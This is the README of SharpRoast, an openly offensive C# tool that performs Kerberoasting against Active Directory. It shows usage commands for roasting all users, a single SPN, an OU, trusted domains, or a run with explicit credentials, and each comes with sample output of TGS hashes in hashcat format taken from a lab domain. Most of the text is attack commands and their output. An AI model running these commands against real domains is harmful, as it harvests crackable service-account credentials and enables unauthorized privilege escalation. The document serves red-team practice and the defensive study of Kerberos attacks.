SharpRoast

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SharpRoast is a C# port of various PowerView's Kerberoasting functionality. The KerberosRequestorSecurityToken.GetRequest Method() method was contributed to PowerView by @machosec. The hashes are output in hashcat format.

@harmj0y is the primary author of this port.

SharpRoast is licensed under the BSD 3-Clause license.

Usage

Roast all users in the current domain:

C:\Temp>SharpRoast.exe all
SamAccountName         : harmj0y
DistinguishedName      : CN=harmj0y,CN=Users,DC=testlab,DC=local
ServicePrincipalName   : asdf/asdfasdf
Hash                   : $krb5tgs$23$*$testlab.local$asdf/asdfasdf*$14AA4F...

SamAccountName         : sqlservice
DistinguishedName      : CN=SQL,CN=Users,DC=testlab,DC=local
ServicePrincipalName   : MSSQLSvc/SQL.testlab.local
Hash                   : $krb5tgs$23$*$testlab.local$MSSQLSvc/SQL.testlab.local*$9994D1...

...

Roast a specific SPN:

C:\Temp>SharpRoast.exe "asdf/asdfasdf"
Hash                   : $krb5tgs$23$*$testlab.local$asdf/asdfasdf*$14AA4F...

Roast a specific user in the current domain:

C:\Temp>SharpRoast.exe harmj0y
SamAccountName         : harmj0y
DistinguishedName      : CN=harmj0y,CN=Users,DC=testlab,DC=local
ServicePrincipalName   : asdf/asdfasdf
Hash                   : $krb5tgs$23$*$testlab.local$asdf/asdfasdf*$14AA4F...

Roast users from a specified OU in the current domani:

C:\Temp>SharpRoast.exe "OU=TestingOU,DC=testlab,DC=local"
SamAccountName         : testuser2
DistinguishedName      : CN=testuser2,OU=TestingOU,DC=testlab,DC=local
ServicePrincipalName   : service/host
Hash                   : $krb5tgs$23$*$testlab.local$service/host*$08A6462...

Roast a specific specific SPN in another (trusted) domain:

C:\Temp\>SharpRoast.exe "MSSQLSvc/SQL@dev.testlab.local"
Hash                   : $krb5tgs$23$*user$DOMAIN$MSSQLSvc/SQL@dev.testlab.local*$9994D148...

Roast all users in another (trusted) domain:

C:\Temp>SharpRoast.exe "LDAP://DC=dev,DC=testlab,DC=local"
SamAccountName         : jason
DistinguishedName      : CN=jason,CN=Users,DC=dev,DC=testlab,DC=local
ServicePrincipalName   : test/test
Hash                   : $krb5tgs$23$*$dev.testlab.local$test/test*$9129566...

Any of these commands also accept a [domain.com\user] [password] for to roast with explicit credentials. For example:

C:\Temp>SharpRoast.exe harmj0y "testlab.local\dfm" "Password123!"
SamAccountName         : harmj0y
DistinguishedName      : CN=harmj0y,CN=Users,DC=testlab,DC=local
ServicePrincipalName   : asdf/asdfasdf
Hash                   : $krb5tgs$23$*$testlab.local$asdf/asdfasdf*$14AA4F...

Compile Instructions

We are not planning on releasing binaries for SharpRoast, so you will have to compile yourself :)

SharpRoast has been built against .NET 3.5 and is compatible with Visual Studio 2015 Community Edition. Simply open up the project .sln, choose "release", and build.